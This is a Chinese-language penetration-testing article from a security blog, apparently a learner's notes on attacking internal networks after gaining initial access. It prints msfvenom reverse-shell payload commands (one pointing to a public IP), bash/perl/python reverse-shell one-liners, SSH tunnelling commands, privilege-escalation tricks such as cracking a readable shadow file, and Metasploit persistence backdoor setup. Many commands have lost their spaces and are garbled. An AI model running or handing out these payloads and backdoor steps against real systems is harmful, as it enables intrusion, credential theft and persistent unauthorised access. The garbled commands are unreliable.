【技术分享】内网渗透思路整理与工具使用

【技术分享】内网渗透思路整理与工具使用

2017-04-01 14:29:39
来源：Homaebic 作者：安全客

阅读：122次
点赞(0)
收藏

【技术分享】内网渗透思路整理与工具使用

作者：Homaebic

预估稿费：300RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

前言

上个学期一直在学审计，前几天ST2漏洞大火，随便打一个就是root权限，我却拿着root权限不知如何继续进行。因为这个，发现了自己对渗透知识的缺失，因此用了两周左右的时间学习补充了一下内网渗透的知识，看了不少大牛的文章，膜拜之余还是做了一些笔记的。到渗透入门结束之余，打算自己整理一下最近学习到的关于渗透的知识，写一篇文章。

回过头看渗透，在机械流程的前提下，什么情况下使用什么工具，做出什么反应的适应性思路更为重要。一次大快人心的渗透过程与扎实的基础知识和熟练的工具使用是分不开的。

渗透初探

一个概念

正向shell：攻击者连接被攻击者机器，可用于攻击者处于内网，被攻击者处于公网的情况。

攻击者-->被攻击者

反向shell：被攻击者主动连接攻击者，可用于攻击者处于外网，被攻击者处于内网的情况。

攻击者<--被攻击者

msf shell

反向shell

正向shell

linux:msfvenom-plinux/x86/meterpreter/reverse_tcplhost=192.168.1.102lport=4444-felf-oisshell
【技术分享】内网渗透思路整理与工具使用

windows:msfvenom-pwindows/meterpreter/reverse_tcp-ex86/shikata_ga_nai-i5-b‘\x00’LHOST=121.196.209.139LPORT=4444-fexe>abc.exe
【技术分享】内网渗透思路整理与工具使用

Android:msfvenom-pandroid/meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apk
【技术分享】内网渗透思路整理与工具使用

其他的各种各样的姿势的反弹shell：

bash:bash-i>&/dev/tcp/10.0.0.1/80800>&1 perl:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};' python:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用SSH通道：

Ssh-qTfnN-Lport:host:hostport-luserremote_ip正向隧道，监听本地port Ssh-qTfnN-Rport:host:hostport-luserremote_ip反向隧道，用于内网穿透防火墙限制之类 Ssh-qTfnN-Dportremotehost直接进行socks代理

参数：

-q安静模式 -T不占用shell -f后台运行，推荐加-n参数 -N不执行远程命令

SSH端口转发：

Ssh-CfNg-Lport1:127.0.0.1:port2user@host本地转发 Ssh-CfNg-Rport2:127.0.0.1:port1user@hsst远程转发

拿到shell后的两个方向

如果是低权限的机器，就提权：

检查操作系统发行版本：lsb_release -a

依据系统的内核，寻找对应的exp提权：

根据内核寻找exp的网站： https://www.kernel-exploits.com/ ，也可以用kali下的searchsploit命令

如果尝试的所有的exp都失败了，可以试一试新版本内核的exp。但是注意，内核exp提权有崩溃系统的风险。

一些其他的办法：

利用SUID提权

1. SUID是一种属性，他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。

2. 环境变量劫持的方法提权

3. Passwd文件是否可写，可写则修改密码登录

4. Shadow是否可读，可读则使用hashcat或john暴力破解

5. 使用web端的一些密码测试root密码是否相同

6. 使用命令 ls -l /etc/cron* 查看计划任务，也许会有脚本使自己成为root用户

使用命令 netstat -antup查看服务，有没有什么神奇的服务，可以用nc转发出来。

相关工具：https://www.securitysift.com/download/linuxprivchecker.py 详细地列出网卡信息，主机信息，passwd文件，开启服务等等信息。

提权的方法复杂而多样，主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功，那么可以使用这台主机作为跳板进行内网的进一步渗透。

后门

拿下一个shell容易，但是对方服务器重启，web漏洞被补上，木马被删除，还能有办法保留住shell么？这里提供了几种持续后门的方法。

Msf的持续后门

Persistence: run persistence -h：用于创建启动项启动，会创建注册表，创建文件。（X86_Linux不支持此脚本）

Run metsvc -h ：用于创建服务，会创建meterpreter服务，并上传三个文件，容易被杀（我的msf版本不支持）使用-r参数可以卸载服务

Mof_ps_persist

Msf自动运行脚本

Autorunscript，一个十分强大的脚本，可以在生成会话的同事，执行指定的操作。可以通过autorunscript调用的脚本有6个，目录metasploit/scripts/meterpreter，有屏幕截图，获取环境变量等等。

使用persistence和autorunscript留后门的方法是：

Useexplit/multi/handler Setpayloadwindows/meterpreter/reverse_tcp Setlhost*** Setlport*** SetExitOnSessionfalse SetAutoRunScriptpersistence-r***-p7231-U-X-I30 Exploit-j-z

绕过拦截的计划任务：

构造创建计划任务：schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次